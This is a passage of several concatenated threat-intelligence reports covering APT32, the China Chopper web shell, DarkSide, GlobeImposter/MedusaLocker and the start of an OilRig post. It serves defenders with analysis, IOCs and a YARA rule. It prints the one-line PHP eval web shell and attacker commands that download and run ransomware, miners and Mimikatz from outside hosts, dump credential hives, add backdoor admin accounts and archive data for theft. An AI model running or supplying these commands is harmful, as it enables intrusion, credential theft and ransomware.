be posted as more samples are analyzed. **Sample 2:** A second sample, uploaded to a malware repository on October 22, 2020, uses this same loading process and communicates with one of the identified C2 domains, cloud.bussinesappinstant[.]com. In this sample, the SFX file is called “9_Programme_SOMCA-Japan_FINAL.docx~.exe,” likely in reference to the ASEAN Senior Officials Meeting for Culture and Arts (SOMCA), indicating APT32’s continued interest in the targeting of ASEAN and other member states. The decoy document utilized in this campaign shows a blank agenda for the “Seventh Meeting of the ASEAN Plus Japan Senior Officials on Culture and Arts.” This archive file drops the same “SoftwareUpdateFilesLocalized.dll” file seen in the previous sample. In addition to the TTP (tactics, techniques, procedures) and infrastructure overlaps, the malicious DLLs linked to this latest sample share an identical rich header and import hash seen in historical APT32 samples. Insikt Group identified further evidence of targeting of Cambodia through several IP addresses assigned to a Cambodian government organization regularly communicating with the APT32 C2 IP address 43.254.132[.]212. Recorded Future recommends using the following indicators of compromise from this campaign for detection and defense against this malware. Additionally, Insikt Group has provided a YARA rule for detection below. ## Appendix A: Indicators of Compromise **IP Address** - 43.254.132[.]117 - 43.254.132[.]212 **Domain** - bussinesappinstant[.]com - cloud.bussinesappinstant[.]com **Malware Hash** - a030435018a67c07747751766132eb30a9 - d873bdb08c45378650761bad71df7418c7 ## Appendix B: YARA Detection ```plaintext import "pe" rule APT_VN_APT32_DLLSideloading_Oct2020 { meta: description = "Track DLL Sideloading Technique Used by APT32/OceanLotus in October 2020" author = "Insikt Group, Recorded Future" hash1 = "d873bdb08c45378650761bad71df7418c7b542adb13ccd4a87df2001801f4808" hash2 = "75c61d9d8da4a87882ccdd37b664953c10a186b5545c5152fd1b6bf788a1a846" date = "2020-10-22" strings: $s1 = "SoftwareUpdateFilesLocalized.dll" $s2 = "SoftwareUpdateFiles.locale" wide $s3 = "This indicates a bug in your application." condition: uint16(0) == 0x5a4d and filesize < 60KB and ((all of them and pe.timestamp == 4294967295000) or pe.imphash() == "3937374c70baa93e1fd75d8e894faf94" or pe.rich_signature.key == 0x6597ead6) } ``` ## About Recorded Future Recorded Future delivers security intelligence to amplify the effectiveness of security and IT teams by informing decisions in real time with contextual, actionable intelligence. By analyzing data from open, dark, and proprietary sources, Recorded Future offers a singular, integration-ready view of threat information, risks to digital brand, vulnerabilities, third-party risk, geopolitical risk, and more. © Recorded Future, Inc. All rights reserved. All trademarks remain property of their respective owners.
# China Chopper Still Active 9 Years Later **By Paul Rascagneres and Vanja Svajcer.** ## Introduction Threats will commonly fade away over time as they're discovered, reported on, and detected. But China Chopper has found a way to stay relevant, active, and effective nine years after its initial discovery. China Chopper is a web shell that allows attackers to retain access to an infected system using a client-side application which contains all the logic required to control the target. Several threat groups have used China Chopper, and over the past two years, we've seen several different campaigns utilizing this web shell, and we chose to document three most active campaigns in this blog post. We decided to take a closer look at China Chopper after security firm Cybereason reported on a massive attack against telecommunications providers called "Operation Soft Cell," which reportedly utilized China Chopper. Cisco Talos discovered significant China Chopper activity over a two-year period beginning in June 2017, which shows that even nine years after its creation, attackers are using China Chopper without significant modifications. This web shell is widely available, so almost any threat actor can use it. This also means it's nearly impossible to attribute attacks to a particular group using only the presence of China Chopper as an indicator. The usage of China Chopper in recent campaigns proves that a lot of old threats never really die, and defenders on the internet need to be looking out for malware both young and old. ## What is China Chopper? China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool. The web shell works on different platforms, but in this case, we focused only on compromised Windows hosts. China Chopper has been used by some state-sponsored actors such as Leviathan and Threat Group-3390, but during our investigation, we've seen actors with varying skill levels. In our research, we discovered both Internet Information Services (IIS) and Apache web servers compromised with China Chopper web shells. We do not have additional data about how the web shell was installed, but there are several web application frameworks such as older versions of Oracle WebLogic or WordPress that may have been targeted with known remote code execution or file inclusion exploits. China Chopper provides the actor with a simple GUI that allows them to configure servers to connect to and generate server-side code that must be added to the targeted website code in order to communicate. ### China Chopper GUI The server-side code is extremely simple and contains, depending on the application platform, just a single line of code. The backdoor supports .NET Active Server Pages or PHP. Here is an example of a server-side code for a compromised PHP application: ```php <?php @eval($_POST['test']);?> ``` We cannot be sure if the simplicity of the server code was a deliberate decision on the part of the China Chopper developers to make detection more difficult, but using pattern matching on such a short snippet may produce some false positive detections. The China Chopper client communicates with affected servers using HTTP POST requests. The only function of the server-side code is to evaluate the request parameter specified during the configuration of the server code in the client GUI. In our example, the expected parameter name is "test." The communication over HTTP can be easily spotted in the network packet captures. China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of `netstat an|find "ESTABLISHED."` and it is very likely that this command will be seen in process creation logs on affected systems. ### China Chopper's First Suggested Terminal Command When we analyze the packet capture, we can see that the parameter "test" contains another eval statement. Depending on the command, the client will submit a certain number of parameters, z0 to zn. All parameters are encoded with a standard base64 encoder before submission. Parameter z0 always contains the code to parse other parameters, launch requested commands, and return the results to the client. In this request, the decoded parameters are: - z0 - `@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";;echo("|<-");die();` - z1 - `cmd` - z2 - `cd /d "C:\xampp\htdocs\dashboard\"&netstat -an | find "ESTABLISHED"&echo [S]&cd&echo [E]` The end of the command `&echo [S]&cd&echo [E]` seems to be present in all virtual terminal requests and may be used as a reliable indicator to detect China Chopper activity in packet captures or behavioral logs. Apart from the terminal, China Chopper includes a file manager (with the ability to create directories, download files, and change file metadata), a database manager, and a rudimentary vulnerability scanner. ## Timeline of the Observed Case Studies ### Case Study No. 1: Espionage Context We identified the usage of China Chopper in a couple of espionage campaigns. Here, we investigate a campaign targeting an Asian government organization. In this campaign, China Chopper was used in the internal network, installed on a few web servers used to store potentially confidential documents. The purpose of the attacker was to obtain documents and database copies. The documents were automatically compressed using WinRAR: ```bash cd /d C:\Windows\Working_Directory\ renamed_winrar a -m3 -hp19_Characters_Complex_Password -ta[date] -n*.odt -n*.doc -n*.docx -n*.pdf -n*.xls -n*.xlsx -n*.ppt -n*.pptx -r c:\output_directory\files.rar c:\directory_to_scan\ ``` This command is used to create an archive containing documents modified after the date put as an argument. The archives are protected with a strong password containing uppercase, lowercase, and special characters. The passwords were longer than 15 characters. We assume the attacker ran this command periodically in order to get only new documents and minimize the quantity of exfiltrated data. On the same target, we identified additional commands executed with China Chopper using WinRAR: ```bash rar a -inul -ed -r -m3 -taDate -hp<profanity> ~ID.tmp c:\directory_to_scan ``` China Chopper is a public hacking tool, and we cannot tell if in this case the attacker is the same actor as before. But the rar command line here is sufficiently different to note that it could be a different actor. The actor used an offensive phrase for a password, which is why we've censored it here. The attacker deployed additional tools to execute commands on the system: ```bash C:\windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\windows\temp\Document.csproj /p:AssemblyName=C:\windows\temp\downloader.png /p:ScriptFile=C:\windows\temp\downloader.dat /p:Key=27_characters_key > random.tmp ``` MSBuild.exe is used to compile and execute a .NET application with two arguments: the ScriptFile argument contains a PowerShell script encrypted with the value of the key argument. The purpose of the decrypted payload was to perform a database dump: ```bash powershell.exe -exe bypass -nop -w hidden -c Import-Module C:\windows\help\help\helper.ps1; Run-MySQLQuery -ConnectionString 'Server=localhost;Uid=root;Pwd=;database=DBName; Convert Zero Datetime=True' -Query 'Select * from table where UID > 'Value' -Dump ``` The "where UID" condition in the SQL query has the same purpose as the date in the previous WinRAR command. We assume the attacker performs the query periodically and does not want to dump the entire database, but only the new entries. It is interesting to see that after dumping the data, the attacker checks if the generated file is available and if it contains any data: ```bash dir /O:D c:\working_directory\db.csv powershell -nop -exec bypass Get-Content "c:\working_directory\db.csv" | Select-Object -First 10 ``` How are the file archives and the database dumps exfiltrated? Since the targeted server is in an internal network, the attacker simply maps a local drive and copies the file to it. ```bash cd /d C:\working_directory\ net use \\192.168.0.10\ipc$ /user:USER PASSWORD move c:\working_directory\db.csv \\192.168.0.10\destination_directory ``` The attacker must have access to the remote system in order to exfiltrate data. We already saw the usage of an HTTP tunnel tool to create a network tunnel between the infected system and a C2 server. ### Case No. 2: Multi-purpose Campaign We observed another campaign targeting an organization located in Lebanon. While our first case describes a targeted campaign with the goal to exfiltrate data affecting internal servers, this one is the opposite: an auxiliary public website compromised by several attackers for different purposes. We identified actors trying to deploy ransomware on the vulnerable server using China Chopper. The first attempt was Sodinokibi ransomware: ```bash certutil.exe -urlcache -split -f hxxp://188.166.74[.]218/radm.exe C:\Users\UserA\AppData\Local\Temp\radm.exe ``` The second delivered the Gandcrab ransomware: ```bash If($ENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){ Start-Process -FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -argument "IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/Hd7BmJ33')); Invoke-ACAXGZFTTDUDKY; Start-Sleep -s 1000000;" } else { IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/Hd7BmJ33')); Invoke-ACAXGZFTTDUDKY; Start-Sleep -s 1000000; } ``` The script executes a hardcoded PE file located — Gandcrab — at the end of the script using a reflective DLL-loading technique. In addition to the ransomware, we identified another actor trying to execute a Monero miner on the vulnerable server with China Chopper: ```bash Powershell -Command -windowstyle hidden -nop -enc -iex(New-Object Net.WebClient).DownloadString('hxxp://78.155.201[.]168:8667/6HqJB0SPQqbFbHJD/init.ps1') ``` Some of the detected activity may have been manual and performed in order to get OS credentials. Trying to get the registry: ```bash reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive ``` Using Mimikatz (with a few hiccups along the way): ```bash powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt ``` Attempting to dump password hashes using a PowerShell module and the command line: ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/klionsec/CommonTools/master/Get-PassHashes.ps1'); Get-PassHashes; ``` The attackers also tried procdump64.exe on lsass.exe to get the local credentials stored in memory. In addition to the multiple attempts to dump the credential, the attackers had to deal with typos: missed spaces, wrong commands, or letters switching. One of the actors successfully acquired the credentials and tried to pivot internally by using the credentials and the "net use" commands. Finally, several remote access tools such as Gh0stRAT and Venom multi-hop proxy were deployed on the machine, as well as a remote shell written purely in PowerShell. ### Case No. 3: Web Hosting Providers Compromised In one campaign, we discovered an Asian web-hosting provider under attack, with the most significant compromise spanning several Windows servers over a period of 10 months. Once again, we cannot be sure if this was a single actor or multiple groups, since the activities differ depending on the attacked server. We show just a subset of observed activities. #### Server 1 Generally, the attackers seek to create a new user and then add the user to the group of users with administrative privileges, presumably to access and modify other web applications hosted on a single physical server. ```bash cd /d C:\compromisedappdirectory&net user user pass /add cd /d C:\compromisedappdirectory&net localgroup administrattors user /add ``` Notice the misspelling of the word "administrators." The actor realizes that the addition of the user was not successful and attempts a different technique. They download and install an archive containing executables and trivially modified source code of the password-stealing tool "Mimikatz Lite" as GetPassword.exe. The tool investigates the Local Security Authority Subsystem memory space in order to find, decrypt, and display retrieved passwords. The only change, compared with the original tool, is that actors change the color and the code page of the command window. The color is changed so that green text is displayed on a black background and the active console code page is changed to the Chinese code page 936. Finally, the actor attempts to dump the database of a popular mobile game "Clash of Kings," possibly hosted on a private server. #### Server 2 An actor successfully tested China Chopper on a second server and stopped the activity. However, we also found another Monero cryptocurrency miner just as we found commodity malware on other systems compromised with China Chopper. The actors first reset the Access Control List for the Windows temporary files folder and take ownership of the folder. They then allow the miner executable through the Windows Firewall and finally launch the mining payload. ```bash C:\Windows\system32\icacls.exe C:\Windows\Temp /Reset /T C:\Windows\system32\takeown.exe /F C:\Windows\Temp C:\Windows\system32\netsh.exe Firewall Add AllowedProgram C:\Windows\Temp\lsass.eXe Windows Update Enable C:\Windows\Temp\lsass.eXe ``` #### Server 3 The attack on this server starts by downloading a number of public and private tools, though we were not able to retrieve them. The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit. ```bash cd /d C:\directoryofcompromisedapp&rundll32 C:\directoryofcompromisedapp\ALPC-TaskSched-LPE.dll,a ``` The attacker launches several custom tools and an available tool that attempts to create a new user iis_uses and change DACLs to allow the users to modify certain operating system objects. The attacker obtains the required privileges and launches a few other tools to modify the access control lists (ACLs) of all websites running on the affected server. This is likely done to compromise other sites or to run a web defacement campaign. ```bash cacls \. C:\path_to_a_website /T /E /C /G Everyone:F ``` Finally, the actor attempts to launch Powershell Mimikatz loader to get more credentials from memory and save the credentials into a text file: ```bash powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz|Out-File -Encoding ASCII outputfile.txt ``` #### Server 4 The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062, CVE-2015-1701, and CVE-2016-0099 to allow the attacker to modify other objects on the server. Once the privilege escalation was successful, the actor adds a new user account and adds the account to the administrative group. ```bash net user admin admin /ad net localgroup administrators admin /ad ``` The attacker next logs on to the server with a newly created user account and launches a free tool replacestudio32.exe, a GUI utility that easily searches through text-based files and performs replacement with another string. Once again, this could be used to affect all sites hosted on the server or simply deface pages. ## Conclusion Insecure web applications provide an effective entry point for attackers and allow them to install additional tools such as web shells, conduct reconnaissance, and pivot to other systems. Although China Chopper is an old tool, we still see it being used by attackers with various goals and skill levels, and in this post, we showed some of the common tools, techniques, and processes employed in three separate breaches. Because it is so easy to use, it's impossible to confidently connect it to any particular actor or group. In our research, we documented three separate campaigns active over a period of several months. This corroborates the claim that an average time to detect an intrusion is over 180 days and implies that defenders should approach building their security teams and processes around an assumption that the organization has already been breached. It is crucial that an incident response team should have permission to proactively hunt for breaches, not only to respond to alerts raised by automated detection systems or escalated by the first line security analysts. When securing the infrastructure, it is important to keep internal as well as external facing web servers, applications, and frameworks up to date with the latest security patches. Despite the age, China Chopper is here to stay, and we will likely see it in the wild going forward. ## Coverage Intrusion prevention systems such as SNORT® provide an effective tool to detect China Chopper activity due to specific signatures present at the end of each command. In addition to intrusion prevention systems, it is advisable to employ endpoint detection and response tools (EDR) such as Cisco AMP for Endpoints, which gives users the ability to track process invocation and inspect processes. Additional ways our customers can detect and block these threats are listed below: - Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## IOCs ### China Chopper Clients - 9065755708be18d538ae1698b98201a63f735e3d8a597419588a16b0a72c249a - c5bbb7644aeaadc69920de9a31042920add12690d3a0a38af15c8c76a90605ef - b84cdf5f8a4ce4492dd743cb473b1efe938e453e43cdd4b4a9c1c15878451d07 - 58b2590a5c5a7bf19f6f6a3baa6b9a05579be1ece224fccd2bfa61224a1d6abc ### Case Study 1 **Files** - b1785560ad4f5f5e8c62df16385840b1248fe1be153edd0b1059db2308811048 - downloader - fe6b06656817e288c2a391cbe8f5c7f1fa0f0849d9446f9350adf7100aa7b447 - proxy - 28cbc47fe2975fbde7662e56328864e28fe6de4b685d407ad8a2726ad92b79e5 - downloader dll - c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e - nbtscan tool - dbe8ada2976ee00876c8d61e5a92cf9c980ae4b3fce1d9016456105a2680776c - Miner **Legitimate Tools** - d76c3d9bb0d8e0152db37bcfe568c5b9a4cac00dd9c77c2f607950bbd25b30e0 - rar - 46c3e073daa4aba552f553b914414b8d4419367df63df8a0d2cf4db2d835cdbd - renamed rar - 96f478f709f4f104822b441ae3fa82c95399677bf433ac1a734665f374d28c84 - renamed rar **IP Addresses** - 69.165.64.100 - 59.188.255.184 - 154.211.12.153 - 185.234.218.248 ### Case Study 2 **Files** - 02d635f9dfc80bbd9e8310606f68120d066cec7db8b8f28e19b3ccb9f4727570 - Gandcrab loader - 1c3d492498d019eabd539a0774adfc740ab62ef0e2f11d13be4c00635dccde33 - Gandcrab - 219644f3ece78667293a035daf7449841573e807349b88eb24e2ba6ccbc70a96 - Miner/dropper - 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38 - massscan dropped by the miner - a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb - remote exploit - 919270ef1c58cc032bb3417a992cbb676eb15692f16e608dcac48e536271373a - multihop Venom proxy **URLs** - hxxp://101.78.142.74:8001/xavg/javae[.]exe - hxxp://107.181.160.197/win/3p/checking[.]ps1 - hxxp://107.182.28.64/t0[.]txt - hxxp://139.180.199.167:1012/update[.]ps1 - hxxp://172.96.241.10:80/a - hxxp://185.228.83.51/config[.]c - hxxp://188.166.74.218/untitled[.]exe - hxxp://198.13.42.229:8667/6HqJB0SPQqbFbHJD/init[.]ps1 - hxxp://202.144.193.177/1[.]ps1 - hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/init[.]ps1 - hxxp://78.155.201.168:8667/6HqJB0SPQqbFbHJD/init[.]ps1 - hxxp://is.gd/oeoFuI - hxxps://pastebin.com/raw/Hd7BmJ33 - hxxps://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz[.]ps1 - hxxp://fid.hognoob.se/download[.]exe - hxxp://107.182.28.64/t0[.]txt - hxxp://uio.hognoob.se:63145/cfg[.]ini - hxxp://fid.hognoob.se/HidregSvc[.]exe - hxxp://188.166.74.218/untitled[.]exe - hxxp://45.55.211.79/.cache/untitled[.]exe - hxxp://188.166.74.218/untitled[.]exe ### Case Study 3 **Files** - fe2f0494e70bfa872f1aea3ec001ad924dd868e3621735c5a6c2e9511be0f4b0 - Mini Mimikatz archive - 2e0a9986214c4da41030aca337f720e63594a75754e46390b6f81bae656c2481 - CVE-2015-0062 - f3a869c78bb01da794c30634383756698e320e4ca3f42ed165b4356fa52b2c32 - CVE-2015-1701/CVE-2016-0099 - b46080a2446c326cc5f574bdd34e20daad169b535adfda97ba83f31a1d0ec9ab - a tool for adding and elevating a user - ab06f0445701476a3ad1544fbea8882c6cb92da4add72dc741000bc369db853f - ACLs editing for defaced sites **Legitimate Tools** - ee31b75be4005290f2a9098c04e0c7d0e7e07a7c9ea1a01e4c756c0b7a342374 - Replace Studio - d1c67e476cfca6ade8c79ac7fd466bbabe3b2b133cdac9eacf114741b15d8802 - part of Replace Studio
# Darkside Ransomware Analysis Report February 21, 2022 The DarkSide ransomware has been identified as a cybercrime gang thought to be based in Russia, especially targeting US and Eastern European corporations. They leverage ransomware in their campaigns, targeting sectors such as energy and finance, but do not include hospitals, government institutions, schools, or non-profit organizations. DarkSide was first seen in August 2020, with their most notable operation being the Colonial Pipeline attack in the US. The DarkSide threat group uses the Double Extortion attack model, which is standardized among ransomware gangs. This model enforces organizations with disaster recovery plans to pay the ransom. If the victim manages to recover encrypted data, they still have to pay to avoid publicly sharing sensitive information. DarkSide exhibits aggressive behavior to ensure their targets pay the ransom. They may send emails to employees if they feel ignored or if the victims do not respond within 2-3 days. If this method fails, they will not hesitate to contact high-level executives directly. In this way, threat actors can notify the victim's customers or the press about the ransomware attack. The DarkSide ransomware gang has been selling ransomware as a RaaS (Ransomware as a Service) model in underground cybercrime forums, enabling campaigns to be conducted without technical requirements. As a result of the DarkSide ransomware campaigns, the ransom obtained was $312,000 in 2020, which rose approximately three times to reach $800,000 in 2021. According to posts by the username darksupp, believed to belong to DarkSide in underground forums, DarkSide developers receive a 25% share for ransoms of $500,000 and below, and 10% for ransoms of $5 million and above.
# GlobeImposter Ransomware Being Distributed with MedusaLocker via RDP By Sanseo March 8, 2023 ASEC (AhnLab Security Emergency response Center) has recently discovered the active distribution of the GlobeImposter ransomware. This attack is being carried out by the threat actors behind MedusaLocker. While the specific route could not be ascertained, it is assumed that the ransomware is being distributed through RDP due to the various pieces of evidence gathered from the infection logs. The threat actor installed various tools alongside GlobeImposter, such as Port Scanner and Mimikatz. Once installed, if these tools are able to confirm that they are within a company’s internal network, it is assumed that they will then target that network. ## 1. Ransomware Installed Using RDP Threat actors who use RDP (Remote Desktop Protocol) as an attack vector generally scan for systems where RDP is active and allows external access. Systems found during this scanning process are subject to brute force or dictionary attacks. If a user has inappropriate account credentials, then threat actors can easily take those very credentials. Threat actors can use the obtained account credentials to log in to the system through RDP, allowing them to gain control over the system in question and perform a variety of malicious actions. The threat actors who install GlobeImposter are also assumed to be using RDP as their attack vector. More details about each case will be covered further in this post, but the bases are as follows: A. Malware created through the explorer process (explorer.exe) B. RDP-related settings and logs deleted C. Connection with the MedusaLocker ransomware threat actor who uses RDP as their attack vector The threat actor usually creates a folder named “skynet work” in the “Music” folder before installing malware in this directory. This ransomware attack has been steadily ongoing since last year, and the fact that the same path is still being used to this day is a characteristic. The following is the log from an attack case by the same threat actor in the past. Through this, we can see that the explorer process, explorer.exe, is creating the malware. As this behavior is often seen when malware is installed on systems through RDP, it serves as reasonable grounds to believe that RDP was used as an attack vector. There are also other connections that tie this with the MedusaLocker threat actor. Recently, the United States Department of Health and Human Services released a report about how the MedusaLocker ransomware threat actors have been using RDP to infect systems with ransomware. The MedusaLocker threat group has been using RDP as their attack vector, and relevant information was also released by the United States’ Cybersecurity and Infrastructure Security Agency (CISA). A noteworthy thing to point out is that the email and onion addresses found in the ransom note from the recently active GlobeImposter ransomware are included in the list of addresses used by the MedusaLocker group which was released by CISA. Additionally, the team also discovered during their investigation of multiple logs that some ransomware attack cases used both GlobeImposter and MedusaLocker. Therefore, it can be inferred that the MedusaLocker group is using RDP as their main attack vector and are targeting inappropriately managed systems. Adding to this, they have also been using GlobeImposter instead of MedusaLocker in recent attacks. ## 2. Malware Used in the Attack Process As seen in the logs, the threat actor installs various pieces of malware in the infected system. Most of the installed malware are scanners and account credential stealing tools. It can be assumed through this that the network of the infected system can also be targeted. - `advanced_port_scanner.exe`, `advanced_port_scanner_2.5.3869.exe`: Port scanners - Files inside the “kamikadze new” folder: Mimikatz - `netpass (1).exe`: Network password recovery tool made by NirSoft - `networkshare_pre2.exe`: Shared folder scanner After the threat actor takes over the system via RDP, the above tools are used to scan the network to check if the infected system is a part of a specific network. If the system is part of a specific network, then the ransomware can perform internal reconnaissance and lateral movement in order to also encrypt the other systems on the network. The following is a log from AhnLab’s ASD (AhnLab Smart Defense) infrastructure of the Mimikatz command used by a threat actor during their attack. The `sekurlsa::logonpasswords` command outputs every verifiable account credential currently stored on the system memory. The account credentials obtained in this domain environment can be used for lateral movement. There are some cases where the threat actor would also install an XMRig CoinMiner alongside the ransomware. Thus, not only do the MedusaLocker threat actors encrypt infected systems using their ransomware, but they also mine for coins by installing XMRig. - Mining Pool: `pool.supportxmr[.]com:3333` - User: `49c2xjofxbxkydovzvfart2ekruhe6wiep55xcjaogaq1dugduyzgxphd1zx6j21nvv5emtupnfr39sulbp1ggczqwfzjmc` - Password: `x` ## 3. GlobeImposter The `ols.exe` file within the “skynet work” folder is the GlobeImposter ransomware. GlobeImposter is a type of ransomware that uses the AES symmetric key algorithm for file encryption and a public/private RSA key algorithm for key encryption. | Overview | Description | |----------|-------------| | Encryption method | AES / RSA-1024 | | Extension | .onelock | | Paths excluded from encryption | Refer to the information further below | | Extensions excluded from encryption | Refer to the information further below | | Ransom note | how_to_back_files.html | | Others | Registers RunOnce key, Removes volume shadow service, Deletes event logs, Deletes RDP logs | Upon execution, GlobeImposter creates a new public and private RSA-1024 key before using the public RSA key to encrypt the AES key that was used to encrypt files. The generated private RSA key is encrypted with the threat actor’s public RSA key. This key exists encrypted in binary. The public RSA key can be decrypted with the hard-coded AES key. To maintain persistence, GlobeImposter first copies itself into the `%LOCALAPPDATA%` path before registering itself to the RunOnce key, allowing it to operate even after system reboots. A file that uses the SHA256 hash value of the threat actor’s private key as its name is created in the `%PUBLIC%` path. The key information is then encrypted and saved here. Afterward, files within the system are encrypted. Configuration data such as the list of paths and file extensions excluded from encryption are encrypted with the AES key. Additionally, the AES key used to decrypt the configuration data is the SHA256 hash value of the threat actor’s private key mentioned above. The following is a list of the paths and file extensions excluded from encryption that was obtained during the decryption process. **Paths excluded from encryption**: Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, NVIDIA Corporation, Microsoft.NET, Internet Explorer, Kaspersky Lab, McAfee, Avira spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec_Client_Security, system volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla, Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData **Extensions excluded from encryption**: .onelock, .dll, .sys, .exe, .rdp, .ini, .revenlock8, .revenlock9, .revenlock10, .locklock, .allock, .allock2, .allock3, .allock4, .allock5, .allock6, .allock7, .allock8, .allock9, .allock10, .netlock1, .allock1, .allock02, .allock03, .allock05, .allock06, .allock07, .allock08, .alloc When the file encryption is complete, the following batch file is created and executed. The batch file is responsible for deleting volume shadow copies and logs. Event logs and RDP-related logs are the logs that get deleted. Like this, the ransomware attack is performed through RDP. It can be assumed that the threat actor added these kinds of features to the ransomware in order to erase their access history. The ransom note is created in the folder where the infection occurs under the file name “how_to_back_files.html”. The ransom note also differs from previously known GlobeImposter ransom notes but matches the MedusaLocker ransom note that was previously disclosed in the report published by Carbon Black. ## 4. Conclusion Threat actors have consistently been using RDP during their initial infiltration and lateral movement processes. These attacks usually occur through brute force and dictionary attacks against systems with inappropriate account credentials. In particular, a large number of ransomware threat actors aside from the MedusaLocker group also use RDP as their main initial attack vector. Users can deactivate RDP when not in use to decrease the number of attack attempts. If RDP is being used, it is advised to use a complex account password and to change it periodically to prevent brute force and dictionary attacks. Also, V3 should be updated to the latest version so that malware infection can be prevented. ## File Detection - Ransomware/Win.MedusaLocker.R335910 (2022.11.23.00) - Trojan/Win32.FileCoder.R228072 (2018.05.16.01) - Trojan/Win32.RL_CoinMiner.C4078402 (2020.04.25.01) - Trojan/Win32.RL_CoinMiner.C4078402 (2020.04.25.01) - Trojan/Win32.RL_Mimikatz.R366782 (2021.02.18.01) - Trojan/Win.Mimikatz.R433236 (2021.07.23.01) - Trojan/Win.Mimikatz.R434976 (2021.07.31.01) - HackTool/Win.Scanner.C5310311 (2022.11.21.03) - HackTool/Win.Scanner.C5310305 (2022.11.21.03) - Trojan/Win.Mimikatz.R433236 (2021.07.23.01) - Trojan/RL.Mimikatz.R248084 (2018.12.10.01) - Unwanted/Win32.Agent.R266440 (2019.04.23.00) - HackTool/Win.PSWTool.R345815 (2022.09.02.00) ## Behavior Detection - Persistence/MDP.AutoRun.M224 - Ransom/MDP.Event.M4428 ## IOC **MD5** - 715ddf490dbaf7d67780e44448e21ca1: GlobeImposter Ransomware (ols.exe) - 646698572afbbf24f50ec5681feb2db7: MedusaLocker Ransomware (olm.exe) - 70f87b7d3aedcd50c9e1c79054e026bd: XMRig CoinMiner (Miners.exe) - f627c30429d967082cdcf634aa735410: Network Password Recovery (netpass (1).exe) made by NirSoft - 597de376b1f80c06d501415dd973dcec: Shared folder scanner (networkshare_pre2.exe) - 4fdabe571b66ceec3448939bfb3ffcd1: Port scanner (advanced_port_scanner.exe) - 6a58b52b184715583cda792b56a0a1ed: Port scanner (Advanced_Port_Scanner_2.5.3869.exe) - 4edd26323a12e06568ed69e49a8595a5: Mimikatz (mimik.exe) - a03b57cc0103316e974bbb0f159f78f6: Mimikatz (mimispool.dll) - ddfad0d55be70acdfea36acf28d418b3: Mimikatz (mimilib.dll) - 21ea77788aa2649614c9ec739f1dd1b8: Mimikatz (mimikatz.dll) - 5e1a53a0178c9be598edff8c5170b91c: Mimikatz (86.exe) - bb8bdb3e8c92e97e2f63626bc3b254c4: Mimikatz (64.exe) **C&C** - hxxp://46.148.235[.]114/cmd.php: XMRig CoinMiner Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. Categories: Malware Information Tagged as: GlobeImposter, MedusaLocker, RDP
# Behind the Scenes with OilRig By Bryan Lee and Robert Falcone April 30, 2019 After first uncovering the OilRig group in May 2016, Unit 42 has continued to monitor, observe, and track their activities and evolution over time. Since then, OilRig has been heavily researched by the rest of the industry and has been given additional names such as APT34 and Helix Kitten. The OilRig group is not particularly sophisticated but is extremely persistent in the pursuit of their mission objective and, unlike some other espionage-motivated adversaries, are much more willing to deviate from their existing attack methodologies and use novel techniques to accomplish their objectives. Over time, through our research, we have been able to reveal specific details of how their attacks are executed, the tools they use, and even what their development cycle may be like by tracking their use of VirusTotal as a detection check system. Due to the nature of the data we had access to, however, our perspective was primarily from a target or victim perspective, which is generally limited to the artifacts at the time of attack. Recently, a data dump was leaked and made available to the public claiming to be data in relation to OilRig activity from the operations side. We retrieved the data dump, which included credential dumps, backdoors, webshells, and other files of interest. Several media outlets and other researchers have since performed their own evaluation, and in our assessment, we found the 